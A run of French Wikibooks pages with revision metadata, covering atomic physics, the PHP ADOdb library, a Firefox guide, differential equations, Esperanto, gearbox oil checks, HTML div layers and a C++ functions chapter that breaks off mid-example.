bgcolor="#B2C6FF"><center>1,602 176 53×10-19 C</center></td><td bgcolor="#B2C6FF"><center>1,672 623×10-27 kg</center></td></tr> <tr><td bgcolor="#B2C6FF"><center>Neutron</center></td><td bgcolor="#B2C6FF"><center>0</center></td><td bgcolor="#B2C6FF"><center>1,674 94×10<sup>-27</sup> kg</center></td></tr> <tr><td bgcolor="#B2C6FF"><center>Electron</center></td><td bgcolor="#B2C6FF"><center>−1,60217653(14)×10<sup>-19</sup> C</center></td><td bgcolor="#B2C6FF"><center>9,109 382 6(16)×10<sup>-31</sup> kg</center></td></tr> </table> === Isotopes === === La mole === == Modèle de Bohr de l'atome d'hydrogène == == Le modèle de Schrödinger == == Annexes == === Biographies === *Niels Bohr *Dalton *Robert Millikan : (22 mars 1868 - 9 décembre 1953), prix Nobel de physique et médaille Hughes en 1923, prix Faraday 1924, médaille Franklin en 1937, il détermina la charge de l'électron en 1910. Il s'intéressa également à l'effet photoélectrique. *Ernest Rutherford (30 aoùt 1871 - 19 octobre 1937), prix Nobel de chimie en 1908, il a découvert les rayonnement alpha et bétâ, et que la charge positive et presque la totalité de la masse d'un atome étaient réunis dans le noyau. *J.J. Thompson : (18 décembre 1856 – 30 aoùt 1940), physicien anglais Programmation PHP/La librairie ADODB 6793 37001 2006-03-10T15:40:03Z Patszy 1236 {{Programmation PHP}} Cette librairie permet comme PEAR DB de supporter différents types de bases de données (MySQL, Oracle ...). Il est ainsi possible par le biais d'un fichier de configuration de modifier le type de base de données sans que cela n'aie d'impact dans le code de l'application en elle-même.<br> Il s'agit ici, comme pour les autres produits décrits plus haut, d'exploiter les possibilités de programmation orienté objet en ce sens qu'elles optimisent la programmation, la rendant plus efficiente. Reformulons l'intérêt d'utilisation de cette classe. Nous savons par exemple que le langage JAVA permet "d'attaquer" différents types de bases de données sans qu'une ligne de programmation ne soit modifiée, déportant cette disparité en concentrant notre attention sur une seule ligne de configuration : la déclaration du driver de base de données.<br> C'est un peu ce que veut faire pour PHP ADODB, tout comme PEAR DB, qui furent des produits concurrents : si vous souhaitez tester sur une base Access par exemple votre développement PHP,<br><br> dans l'exemple du tutorial, ces quelques lignes le décrivent :<br> include('adodb.inc.php'); # charge le code de ADOdb<br> $conn = &ADONewConnection('access'); # crée une connexion<br> $conn->PConnect('northwind'); # se connecte à MS-Access, northwind DSN<br> mais ensuite, que vous créez, puis exploitez en base réelle sur Postgress ou encore MySql, les modifications sur les lignes de codes pour une version en exploitation seront alors des modifications de type paramétrage dans l'appel de la méthode d'accés, mais non point sur chaque ligne d'instruction, qu'il s'agisse d'un accés en lecture, en mise à jour ... etc.<br> include('adodb.inc.php'); <br> $conn = &ADONewConnection('mysql'); <br> $conn->PConnect('localhost','userid','','agora');# se connecte à MySQL, agora db<br> Il existe aussi des méthodes permettant de passer rapidement en conversion HTML après exploitation en séquence de tuples de la base de données cible, ou encore de créer rapidement un fichier CSV, ce qui est trés prisé en bureautique (pour les logiciel de type "Office"). <br><br><br><br> ''LIENS :'' <br><br> Un excellent tutorial se trouve à l'adresse suivante : <br> chez phplens : [http://phplens.com/phpeverywhere/adodb_french TUTORIAL ADODB FRANCAIS]<br> chez phpfreaks : [http://www.phpfreaks.com/tutorials/110/0.php TUTORIAL ADODB ANGLAIS]<br> une courte description en anglais au database journal : [http://www.databasejournal.com/features/php/article.php/2222651 ADODB CLASS LIBRARY]<br> La page de téléchargement chez Sourceforge :<br> [http://adodb.sourceforge.net/#download Téléchargement]<br><br> Firefox 6794 38760 2006-03-25T06:21:56Z Everlong 356 added interwiki links to the English, Italian, Dutch, Russian and Thai versions of this page '''Firefox''' est un livre rédigé dans le but de vous aider à utiliser le navigateur libre Mozilla Firefox. Si vous ne l'avez pas encore, vous pouvez le télécharger depuis le site [http://www.mozilla-europe.org/fr officiel de Mozilla Corporation] ==Table des matières== #[[Firefox: Introduction| Introduction]] #[[Firefox: Installation| Installation]] #[[Firefox: Navigation par onglets| Navigation par onglets]] #[[Firefox: Recherche| Recherche dans les documents]] #[[Firefox: Préférences| Préférences]] #[[Firefox: Extensions| Extensions]] #[[Firefox: Plug-ins| Plug-ins]] #[[Firefox: Raccourcis| Raccourcis]] #[[Firefox: Optimisation| Optimisation]] #[[Firefox: Développeurs| Outils aux développeurs]] #[[Firefox: Liens| Liens utiles]] [[en:Using Firefox]] [[it:Guida a Firefox]] [[nl:Firefox]] [[ru:Учебник по Firefox]] [[th:คู่มือการใช้ไฟร์ฟอกซ์]] Firefox: Introduction 6795 30608 2006-01-28T12:18:39Z Stéphane Rangaya 1099 {{Using_FirefoxTOC}} ==A propos de Firefox== '''Mozilla Firefox''' (appelé à ses débuts Phoenix, puis Firebird) est un navigateur internet libre, gratuit, multiplateforme (c'est à dire que vous pouvez tout à fait l'installer sur Windows, Linux, Mac OS X...), développé par la fondation Mozilla et des centaines de bénévoles. La version actuelle est Firefox 1.5, sortie le 29 novembre 2005 Firefox est léger, rapide, intuitif, et vraiment extensible. Il est le développement principale de la fondation Mozilla. Il inclus un bloqueur de Pop-up intégré, une navigation par onglets, des marque-pages dynamiques, le support des standards ouverts, et est traduit dans de nombreuses langues. Il offre en plus une sécurité très haute. Firefox a dès ses débuts attiré l'attention des internautes comme une alternative à Microsoft Internet Explorer, et l'on estime qu'il représente environ 13% de parts de marché. Depuis sa première version, Firefox a constament réduit la part de marché de Internet Explorer. ==L'Histoire de Firefox== Avant sa première version sortie le 9 novembre 2004, Firefox était déjà acclamé par de nombreux médias de grande taille, comme Forbes ou le Wall Street Journal. Avec plus de 25 million de téléchargements dans les 99 jours qui suivirent son lancement, Firefox devint l'une des applications libre la plus présente sur les ordinateurs familliaux. Le 19 octobre 2005, 344 jours après la sortie de la première version, Firefox fêtait son 100 millionième téléchargement. Firefox est devenu le développement numéro 1 de la fondation Mozilla qui a depuis cessé le développement de la suite Mozilla pour se focaliser sur le panda rouge (Firefox est le surnom du panda rouge, et ne signifie pas renard de feu, comme certains pourraient le croire). [[w:Blake Ross|Blake Ross]] began working on the Firefox project as an experimental branch of the Mozilla project. They believed that the commercial requirements of Netscape's sponsorship and developer-driven feature creep compromised the utility of the Mozilla browser. To combat what they saw as the Mozilla Suite's software bloat, they created a pared-down browser (then known as Phoenix, today known as Firefox), with which they intended to replace the Mozilla Suite. Ben Goodger currently works as the lead developer of Firefox. Mozilla Firefox retains the cross-platform nature of the original Mozilla browser by using the XUL user interface markup language. Through Firefox's support of XUL, users may extend their browser's capabilities by applying themes and extensions. Initially, these add-ons raised security concerns, so with the release of Firefox 0.9, the Mozilla Foundation opened Mozilla Update, a website containing themes and extensions "approved" as not harmful. ===Standards=== Support for software standards The Mozilla Foundation takes pride in Firefox's compliance with existing standards, especially W3C web standards. Firefox has extensive support for most basic standards including [[w:HTML|HTML]], [[w:XML|XML]], [[w:XHTML|XHTML]], [[w:CSS|CSS]], ECMAScript ([[w:JavaScript|JavaScript]]), [[w:DOM|DOM]], [[w:MathML|MathML]], [[w:DTD|DTD]], [[w:XSL|XSL]] and [[w:XPath|XPath]]. Firefox also supports [[w:PNG|PNG]] images and variable transparency as opposed to [[w:Internet Explorer|Internet Explorer]], which will not support it fully until the not-yet-released version 7. Indeed, Internet Explorer's lack of support for PNG images has occasioned much debate, as many web developers want to move away from the old [[w:GIF|GIF]] format, which does not have the same capabilities and image quality as PNG. Mozilla contributors constantly improve Firefox's support for existing standards. Firefox has already implemented most of CSS Level 2 and some of the not-yet-completed CSS Level 3 standard. Also, work continues on implementing standards currently missing, including [[w:Scalable Vector Graphics|SVG]], [[w:APNG|APNG]], and [[w:XForms|XForms]]. The latest development builds include SVG support by default [17], and the upcoming version 1.5 is thus scheduled to have a partial SVG 1.1 support. Some of the Mozilla standards like [[w:XBL|XBL]] is also making its way to open standards (via WHATWG). [[it:Guida a Firefox/Introduzione]] Analyse:Equation différentielle 6797 42283 2006-05-14T15:05:34Z 213.103.53.248 /* Equation de Bernoulli */ __NOTOC__ {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Une équation différentielle est une équation où l'inconnue est la fonction y(x) et où peuvent figurer les fonctions y', y'' et la variable x. |} Exemple :<br /><math>y' + y = 0\,</math>.<br /><math>y' - 2xy = -3\,</math>. == Equation différentielle du premier ordre == {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Une équation différentielle est dite du premier ordre si elle comporte la fonction inconnue ainsi que sa dérivée première. |} <br />Exemple :<br /> <math>y' + 2y = 0\,</math>. === Equation différentielle linéaire du premier ordre === {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Touté équation différentielle du premier ordre qui peut se mettre sous la forme :<br />A(x)y' + B(x)y = C(x) (ici avec second membre) ou <br />A(x)y' + B(x)y = 0 (ici sans second membre)<br />est une équation linéaire. |} <br />Exemple :<br /><math>4y' + 2y = 3x + 1\,</math>.<br /><math>y' + cos(y) = 0\,</math>. n'est pas une équation linéaire.<br />(voir [[w:Équation linéaire|Équation linéaire]]) === Résolution === ==== Equation sans second membre ==== <math>xy' - y = 0\,</math> *1ère méthode :<br /><math>xy' = y\,</math><br /><math>y'/y = 1/x\,</math><br /><math>ln(y) = ln|x| + k\,</math><br /><math>y(x) = exp(ln|x| + k)\,</math><br /><math>y(x) = Kx \,</math> (avec K = K1 si x>0 ou K = -K1 si x<0) ==== Exercices ==== Résoudre <math>xy' + 2y = 0\,</math> {{boîte déroulante|titre = Solution| contenu = * <math>xy' + 2y = 0\,</math><br /><math>xy' = -2y\,</math><br /><math>y'/y = -2/y\,</math><br /><math>ln(y(x)) = -2ln x + k\,</math><br /><math>y(x) = exp(-2ln(x))exp(k)\,</math><br /><math>y(x) = Kx^{-2} = K/x^2 \,</math>| ... }} ==== Equation avec second membre ==== <math>(x+1)y'+2y = 1/(x+2)\,</math> (que l'on nomme (1)) * On y associe une équation sans second membre : <math>(x+1)y' + 2y = 0\,</math> (que l'on nomme (0)) * La solution générale de (1) s'obtient en ajoutant la solution générale de (0) à la solution particulière de (1). * On résoud l'équation sans second membre (0). Cela donne la solution générale de (0). <math>(x+1)y' + 2y = 0\,</math><br /><math>(x+1)y' = -2y\,</math><br /><math>y'/y = -2(x+1)\,</math><br /><math>ln(y) = -2ln(x+1) + k\,</math><br /><math>y(x) = exp(-2ln(x+1))exp(k)\,</math><br /><math>y(x) = K \times 1/(x+1)^2\,</math> * On cherche la solution la solution particulière de (1). Pour cela on fait varier la constante K. <math>K \Rightarrow K(x)</math>. Ainsi <math>y(x) = K(x)\times 1/(x+1)^2\,</math> et <math>y'(x) = K'(x)\times 1/(x+1)^2 + K(x)\times (-2/(x+1)^3)\,</math>. <br />On insère dans (1).<br /><math>(x+1)[K'(x)\times 1/(x+1)^2 + K(x)\times (-2/(x+1)^3)] + 2K(x)\times 1/(x+1)^2 = 1(x+2)\,</math><br /><math>K'(x)\times 1(x+1) = 1/(x+2)\,</math><br /><math>K'(x) = (x+1)/(x+2)\,</math><br />or <math>(x+1) = (x+2) - 1\,</math><br />ainsi <math>K'(x) = (x+2)/(x+2) - 1/(x+2\,</math><br /><math>K(x) = x - ln(x+2) + k\,</math><br /> *La solution particulière de (1) est <math>Yp(x) = (x - ln(x+2))/(x+1)^2\,</math> et la solution générale de (1) est la somme de la solution générale de (0) et de la solution particulière de (1) soit <math>Y(x) = K/(x+1)^2 + (x-ln(x+2))/(x+1)^2\,</math> ==== Résolution ==== * On divise par <math>y^n\,</math><br /><math>A(x)y'y^{-n} + B(x)y^{1-n} = C(x)\,</math><br />On pose <math>z(x) = y^{1-n}\,</math><br />Ainsi <math>z'(x) = (1-n)y^{-n}y'\,</math><br />On obtient <math>(A(x)z'(x))/(1-n) + B(z)z(x) = C(x) \,</math>que l'on peut résoudre. On revient ensuite à la fonction <math>y(x) = (z(x))^(1/(1-n))\,</math>. <br /> Exemple : <math>xy' + y = y^3\,</math> (ici y<sub>n</sub> = y<sub>3</sub>). *On divise par y<sub>3</sub>. Ainsi <math>x \times y'/y^3 + y/y^{3} = 1\,</math> ou <math>xy'y^{-3} + y^{-2} = 1\,</math>.<br />On pose <math>z(x) = y^{-2}\,</math> et <math>z'(x) = -2y^{-3}y'\,</math> et on effectue le changement <math>x/-2 \times z'(x) + z(x) = 1\,</math> * On résoud l'équation sans second membre : <math>x/-2 \times z'(x) + z(x) = 0\,</math><br /><math>z'(x) = 2/x \times z(x)\,</math><br /><math>z'(x)/z(x) = 2/x\,</math><br /><math>ln(z(x)) = 2ln(x) + k\,</math><br /><math>z(x) = exp(ln(x^2) \times k)= Kexp(x^2)\,</math> avec <math>K = exp(k)\,</math> * On fait varier la constante K, <math>K \Rightarrow K(x)\,</math><br /><math>z(x) = K(x) \times x^2</math> et <math>z'(x) = K'(x)x^2 + 2K(x)\,</math><br />On insère dans (1): <math>x/-2[K'(x)x^2 +2K(x)x] + K(x)x^2 = 1\,</math><br /><math>-1/2 \times K'(x)x^3 - K(x)x^2 + K(x)x^2 = 1\,</math><br /><math>K'(x) = -2x^{-3}</math><br /><math>K(x) = x^{-2} + C\,</math><br />Ainsi <math>z(x) = (-2x^{-2} + 2)x^2\,</math><br /><math>z(x) = 1 + Cx^2\,</math><br /><math>z(x) = 1/y^2 \Rightarrow y^2 = 1/z = 1/(1 + Cx^2)\,</math><br />Si <math>1 + Cx^2 > 0\,</math>alors <math>y(x) = \pm 1/\sqrt{1 + Cx^2}\,</math> == Equation différentielle du deuxième ordre == {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Une équation différentielle du deuxième ordre est une équation différentielle contenant y" et éventuellement y', y et la variable x |} Exemple: <math>xy'' - y = 0\,</math> Espéranto : Deuxième Leçon 6800 42570 2006-05-17T07:18:14Z 82.233.108.150 correction caractères accentués ==Syntaxe== En espéranto, comme dans certaines langues la construction syntaxique des phrases dépend de l'effet stylique recherché. Ex: "Je t'aime" peut aussi bien être traduit par *"Mi vin amas" (structure "française") *"Mi amas vin" (structure "anglaise") *"Mi amas al vi" (structure "allemande") *"Mi al vi amas" (structure "russe") (en matière de traduction littéraire, cette liberté dans l'ordre des mots rend bien des services) ==Groupe== Le groupe s'indique en mettant le suffixe '''-ar-'''. Ex: *forêt.....arbaro *meute de loups.....luparo *troupeau de moutons.....ŝafaro *banc de poissons.....fiŝaro ==Descendance== La descendance s'indique en mettant le suffixe '''-id-'''. Ex: *bébé singe.....simiido *bébé singe femelle.....simiidino *chaton.....katido *chaton femelle.....katidino *chiot.....hundido *chiot femelle.....hundidino *agneau.....ŝafido *agnelle.....ŝafidino *lionceau.....leonido *lionceau femelle.....leonidino *louveteau.....lupido *louveteau femelle.....lupidino [[Catégorie:Espéranto|02]] Philosophie/Contingent/nécessaire/possible 6805 46101 2006-06-27T18:56:30Z Guillaumito 46 [[Contingent/nécessaire/possible]] déplacé vers [[Philosophie/Contingent/nécessaire/possible]]: Convention de nommage ==Nécessaire s'oppose à contingent== '''Nécessaire''': ce qui ne peut pas ne pas être '''Contingent''' : ce qui peut être comme ne pas être ==Possible s'oppose à impossible== Le nécessaire est '''possible''' car il ne peut être '''impossible''' du fait qu'il doit obligatorement être. Le contingent est aussi '''possible''' car peut ou non se réaliser. Vérification du niveau d'huile boite de vitesse 6806 35963 2006-03-04T22:54:00Z 195.68.31.231 Voici la procédure de '''vérification du niveau d'huile d'une [[w:boite de vitesse|boite de vitesse]]''' sur une automobile. ==Boite de vitesse manuelle== Cette opération est généralement réservé aux professionnel car elle nécessite de l'outillage et, une certaine habitude, ce type de boite n'ayant pas à proprement parlé de jauge. === Préparation === Arrêter le véhicule sur une surface horizontale. Se munir d'un chiffon ou d'une feuille ou deux d'essuie-tout et consultez la notice si vous ne savez pas ou se situe le bouchon de remplissage sur la boite de vitesse. === Vérification === Ouvrir avec la clé adhoc le bouchon de remplissage de la boite de vitesse, préparez vous à revisser aussitot. Si de l'huile coule refermer l'orifice, sinon sondez. Introduisez l'extrémité d'un petit tournevis dirigé vers le bas, dans le trou , le niveau de l'huile doit être juste en dessous du bord. === Complément === Munissez d'une pompe spéciale ou d'une grosse [[w:seringue|seringue]], que vous utiliserez pour transférer l'huile préconisée par le fabricant du véhicule dans la boite. * Attention cette huile n'est pas une huile pour moteur, elle est nettement plus visqueuse. ==Boite de vitesse automatique== Deux méthodes sont généralement préconisées par le [[w:constructeur automobile|constructeur]]. Dans tout les cas lisez la notice et appliquer les procédures décrites avec précision. ===Moteur en route=== Méthode générique, moteur chaud : Arrêter le véhicule sur une surface horizontale, laisser le moteur tourner au ralenti. Se munir d'un chiffon ou d'une feuille ou deux d'essuie-tout. * Ouvrez le capot moteur, localisez la jauge de niveau d'huile. Elle a la forme d'un anneau ou d'un crochet de couleur vive dépassant de la boite de vitesse. * Tirez sur cet anneau et sortez jusqu'au bout la tige métallique. * Essuyez la tige et remettez-la en place jusqu'à la butée. * Sans attendre la retirez de nouveau. * Vous pouvez voir à l'extrémité opposé de la poigné, la marque laissé par l'huile : Le niveau doit se situer entre les deux encoches gravées (maximum et minimum). * Attention cette jauge comporte des repères pour les deux procédures, voyez la notice pour savoir quelles repères utiliser. Afin de faire un éventuel appoint sachez que la quantité d'huile entre le maximum et le minimum de la jauge correspond à environ 1/2 litre pour les petits moteurs et environ 1 litre pour les gros moteurs. ===Moteur à l'arrêt=== Méthode générique, moteur froid et à l'arrêt : === Préparation === Arrêter le véhicule sur une surface horizontale, attendre quatre à cinq heures après l'arrêt du [[w:moteur|moteur]], afin que toute l'huile ai le temps de redescendre dans le carter, y comprit l'huile du [[w:convertisseur de couple|convertisseur de couple]]. * Ouvrez le capot moteur, localisez la jauge d'huile. Elle a la forme d'un anneau ou d'un crochet de couleur vive dépassant de la boite de vitesse. * Tirez sur cet anneau et sortez jusqu'au bout la tige métallique. * Essuyez la tige et remettez-la en place jusqu'à la butée. * Sans attendre la retirez de nouveau. * Vous pouvez voir à l'extrémité opposé de la poigné, la marque laissé par l'huile : Le niveau doit se situer entre les deux encoches gravées (maximum et minimum). * Attention cette jauge comporte des repères pour les deux procédure, voyez la notice pour savoir quelles repères utiliser. Afin de faire un éventuel appoint sachez que la quantité d'huile entre le maximum et le minimum de la jauge correspond à environ 1/2 litre pour les petits moteurs et environ 1 litre pour les gros moteurs. ==Complément== Attention l'huile pour boite automatique n'est, ni de l'huile pour boite manuelle, ni de l'huile pour moteur : Elle est très fluide et diffère sensiblement suvant les marques. N'utilisez que celle préconisée par le fabricant de l'automobile, sous peine de dégradation rapide et irréverssible de la boite de vitesse. * Localisez le bouchon de remplissage d'huile, il se situe toujours sur le dessus de la boite et est généralement repéré le symbole d'une burette d'huile ou un bidon d'huile. * N'ajoutez pas plus d'huile que nécessaire, un surplus d'huile peut endommager la boite. ** '''Attention''', n'oubliez pas que l'huille met un temps certain à arriver au carter avant de contrôler à nouveau le niveau. [[Mécanique automobile|Retour au sommaire]] Programmation HTML Calques 6808 40596 2006-04-20T16:01:09Z Gromitt 1388 /* Caractérisation */ {{Programmation HTML}} Les calques (ou layers en anglais) sont basés sur l'utilisation de la balise <div></div> pour pouvoir parfaire une présentation de site web. ==Balises Universelles== Il en existe de deux types : *<code><nowiki><span></span></nowiki></code> : balise ''inline'', donc une balise dans un paragraphe ou plutôt dans une balise dite ''block''. Elle s'utilise au sein d'un block pour une modification ponctuelle. *<code><nowiki><div></div></nowiki></code> : balise ''block'', un bloc est créé, il y a un retour à la ligne automatique. Notons qu'appliquer span ou div sans attribut à un texte ne change rien : leur seul intéret consiste en cela d'ailleurs. ==La balise div== ===Utilisation=== On va entourer la partie souhaitée des balises <code><nowiki><div></nowiki></code> et <code><nowiki></div></nowiki></code> pour délimiter le bloc auquel vont se rapporter les effets de style. <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" > <head> <title>Titre</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> </head> <body> <div> <p>Texte</p> </div> </body> </html> </pre> ===Mise en lien avec le style=== En effet un div est associé à des informations de style CSS (Cascading Style Sheets ou feuille de style en cascade) implantée : *En haut de la page HTML dans un espace entre les balises <code><head></code> et <code></head></code> ainsi : <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" > <head> <title>Titre</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> /* CSS */ </style> </head> <body> <p>Texte</p> </body> </html> </pre> *En liant à la page un fichier css externe en rempaçant le <code><style type="text/css"></style></code> par : <pre> <link rel="stylesheet" media="screen" type="text/css" title="Titre" href="feuilledestyle.css" /> </pre> *Directement dans la balise <code><div></code> ainsi : <pre> <div style=" ... CSS ... "> <p>texte</p> </div> </pre> ===Caractérisation=== Il est conseiller d'opter pour une solution avec feuille de style externe. Mais comment fait-on alors pour personnaliser chaque <code><nowiki><div></nowiki></code> ? Il suffit d'ajouter dans la balise <code><nowiki><div></nowiki></code> une information qui permettra de la caractériser, un <code>class</code> ou un <code>id</code>. On précise qu'un id est à usage unique, pas le class (id : identité unique, class : classe de style ou multiplicité). L'utilisation de ces balises se fait ainsi: {|align="center" rules="all" cellspacing="0" cellpadding="4" style="border: 1px solid #999; border-right: 2px solid #999; border-bottom: 2px solid #999; background: #ccccff" |+Utilisation de <code>class</code> et de <code>id</code> |-style="background: #9999ff" !align="center" | Avec <code>class</code> !!align="center" | Avec <code>id</code> |- |<pre> ... <body> <div class="ma_classe"> <p>Texte</p> </div> </body> </html> </pre> || <pre> ... <body> <div id="mon_id"> <p>Texte</p> </div> </body> </html> </pre> |-style="background: #9999ff" |colspan="2" align="center" | <small>inclusion dans le <code>div</code></small> |- |<pre> .ma_classe { propriété 1 : valeur 1; propriété 2 : valeur 2; ... } </pre> || <pre> #mon_id { propriété 1 : valeur 1; propriété 2 : valeur 2; ... } </pre> |-style="background: #9999ff" |colspan="2" align="center" | <small>inclusion dans le CSS</small> |} ==Fonctions== ===Position=== La balise <code><nowiki><div></nowiki></code> peut être placée comme on le souhaite grâce au CSS, jugez plutôt l'aspect CSS que l'on peut obtenir : <code>visibility: visible; position: absolute; top: 20px; left: 20px; width: 100px; height: 100px</code>. De plus le dernier cadre déclaré recouvre celui d'avant s'il se superposent. ===Clarification=== Lorsque l'on travaille avec un bloc à part avec un <code><nowiki><div></nowiki></code>, on peut définir avec le CSS les différentes balises usuelles dans le <code><nowiki><div></nowiki></code> choisit. D'une manière plus simple il y a une cohérence entre forme et fond. ==Mise en application== Pour effectuer un menu. Sois trois <code><nowiki><div></nowiki></code> les uns derrières les autres on pourra en placer un en haut a gauche, un autre au centre et un dernier en bas. Les blocs sont modulables. <pre> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" > <head> <title>Titre</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> .un { visibility: visible; position: absolute; top: 20px; left: 20px; width: 100px; height: 100px } .deux { visibility: visible; position: relative; top: 50%-100px; left: 50%-50px; width: 100px; height: 200px } .trois { visibility: visible; position: absolute; bottom: 20px; left: 20px; width: 100px; height: 20px } </style> </head> <body> <div class="un"> <p>menu</p> </div> <div class="deux"> <p>centre</p> </div> <div class="trois"> <p>bas de page</p> </div> </body> </html> </pre> Programmation C++ (débutant)/Les fonctions 6809 46379 2006-06-28T15:00:28Z 212.157.247.128 /* Conclusion */ {{C++ débutant}} ==Le cours du chapitre 7 : les fonctions== __TOC__ == Le cours sur les fonctions == ===Pourquoi écrire des fonctions === Lorsqu'on a un ensemble de lignes de code qui doivent être exécutées à différents endroits dans un programme, au lieu de réécrire les mêmes lignes de code, il est intéressant de créer des fonctions.<br/> Au lieu d'écrire une fonction main() de 500 lignes, il est préférable de créer 25 fonctions de 20 lignes *on structure le programme. *il est plus facile de tester chaque fonction. <br/> Il est impossible d'avoir en tête plus de 1000 lignes de codes : or la plupart des programmes réels comportent des dizaines de milliers de lignes et les grosses applications en comporte des millions. Ecrire des fonctions est absolument obligatoire. === Ecrire une fonction === '''Syntaxe : '''type identificateur(paramètres) { Corps de la fonction } <br/><br/> A chaque appel de la fonction on exécute le corps de la fonction. <br/> L'identificateur est le nom de la fonction.<br/> La fonction peut avoir des paramètres. <br/> La fonction peut renvoyer une valeur de type type.<br/> ===Appel à une fonction === Lors de l'appel de la fonction, le programme exécute la totalité des instructions du corps de la fonction, puis reprend le programme juste après l'appel de la fonction. ===Exemple 1 : un exemple de fonction === <pre> #include<iostream> using namespace std; void b() { cout<<"Bonjour"<<endl; } int main() { cout<<"COUCOU1"<<endl; b(); cout<<"COUCOU2"<<endl; b(); b(); cout<<"COUCOU3"<<endl; b(); return 0; } </pre> *'''Explications'''<br/> **Dans ce programme, on a créé une fonction b qui se contente d'afficher "Bonjour" à l'écran. La fonction b est précédée du type void : cela signifie que la fonction ne renvoie aucune valeur au programme appelant. **Le programme principal (la fonction main()) affiche "COUCOU1" à l'écran, ensuite appelle la fonction b, affiche le message "COUCOU2" à l'écran, appelle ensuite 2 fois la fonction b, affiche le message "COUCOU3" et appelle une dernière fois la fonction b. *'''Exécution de l'exemple 1''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> COUCOU1<br/> Bonjour <br/> COUCOU2 <br/> Bonjour <br/> Bonjour <br/> COUCOU3 <br/> Bonjour <br/> === Les paramètres === On peut paramétrer une fonction : les paramètres permettent de rendre la fonction plus générale donc plus facilement réutilisable. La réutilisation de code est une des notions fondamentales du langage C++. La notion de fonction est une des premières méthodes nous permettant d'aborder le sujet. ===Exemple 2 : une fonction avec des paramètres=== <pre> #include<iostream> using namespace std; void b(int i) { int j; for(j=0;j<i;j++) cout<<"Bonjour"<<endl; } int main() { cout<<"COUCOU1"<<endl; b(2); cout<<"COUCOU2"<<endl; b(3); return 0; } </pre> *'''Explications''' **Cette fois-ci la fonction b comporte un paramètre entier i. Cette fonction affiche i fois "Bonjour" à l'écran. **Dans le programme principal, la fonction main() affiche "COUCOU1", appelle ensuite la fonction b avec comme paramètre 2, **Lors de l'appel b(2) de la fonction, on recopie la valeur 2 dans i puis on exécute le corps de la fonction avec cette valeur de i : on affiche donc 2 fois "Bonjour". **Lors de l'appel b(3) de la fonction, on recopie la valeur 3 dans i puis on exécute le corps de la fonction avec cette valeur de i : on affiche donc 3 fois "Bonjour". *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> COUCOU1 <br/> Bonjour <br/> Bonjour <br/> COUCOU2 <br/> Bonjour <br/> Bonjour <br/> Bonjour<br/> === Environnement d'une fonction=== *Une fonction peut avoir ses propres variables locales. *On appelle environnement d'une fonction l'ensemble des variables accessibles dans le corps de la fonction. *Il est possible de définir des variables globales (voir la définition des constantes) : il est fortement déconseillé d'utiliser des variables globales autres que des constantes. *L'environnement d'une fonction comprend : **les variables locales à la fonction. **les paramètres de la fonction. **les variables globales. === Une fonction qui renvoie une valeur=== Une fonction peut renvoyer une valeur d'un certain type à l'environnement appelant.<br/> '''void''' signifie que la fonction ne renvoie rien. Si on veut que la fonction renvoie une certaine valeur, il faudra écrire un autre type à la place de void.<br/> Le mot clé return permet : *d'arrêter l'exécution de la fonction (il est en général placé à la fin de la fonction) *de renvoyer une valeur à l'environnement appelant. <br/> Si une fonction b renvoie un entier, l'appel s'écrira : a=b(…); a permettra de récupérer la valeur renvoyée par le return. === Exemple 3 : une fonction qui renvoie une valeur === <pre> #include<iostream> using namespace std; int b(int i,int j) { int k; k=i*i+j*j; return k; } int main() { int a; a=b(3,4); cout<<"Le resultat vaut : "<<a<<endl; return 0; } </pre> *'''Explications''' Lors de l'appel '''a=b(3,4);''' **3 et 4 sont respectivement recopiés dans les variables i et j. **On exécute le corps de la fonction (qui contient une variable locale k) **'''return k '''permet d'arrêter l'exécution de la fonction en renvoyant la valeur de k qui est recopiée dans a. ** L'environnement de la fonction main ne comprend que la variable a : on ne peut pas utiliser les variables i, j et k dans la fonction main. ** L'environnement de la fonction b comprend les variables i,j et k : on ne peut pas utiliser a dans la fonction b. ** La séparation des environnements permet de mieux structurer les applications. *'''Exécution : ''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Le resultat vaut : 25 ===Exemple 4 : une autre fonction=== <pre> #include<iostream> using namespace std; int b(int i) { int k,s=0; for(k=1;k<=i;k++)s=s+k*k; return s; } int main() { int a; a=b(4); cout<<"Le résultat vaut :"<<a<<endl; return 0; } </pre> *'''Explications''' **On définit une fonction b qui a un paramètre entier i et qui calcule la somme des carrés des i premiers entiers. **Dans la fonction main, on appelle b(4) et on récupère la valeur renvoye par dans dans la variable a. a contient donc la somme des 4 premiers carrés. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran :<br/> Le résultat vaut : 30 ===Exemple 5 : une fonction manipulant des réels=== <pre> #include<iostream> using namespace std; double b(double x,double y) { double m; m=(x+y)/2; return m; } int main() { double a; a=b(3.2,4.2); cout<<"Le résultat vaut :"<<a<<endl; return 0; } </pre> *'''Explications :''' **Dans cette exemple, la fonction b a 2 paramètres de type double, nommées x et y. La fonction b renvoie un double. Cette fonction renvoie la moyenne de x et de y. La variable m est une variable locale à 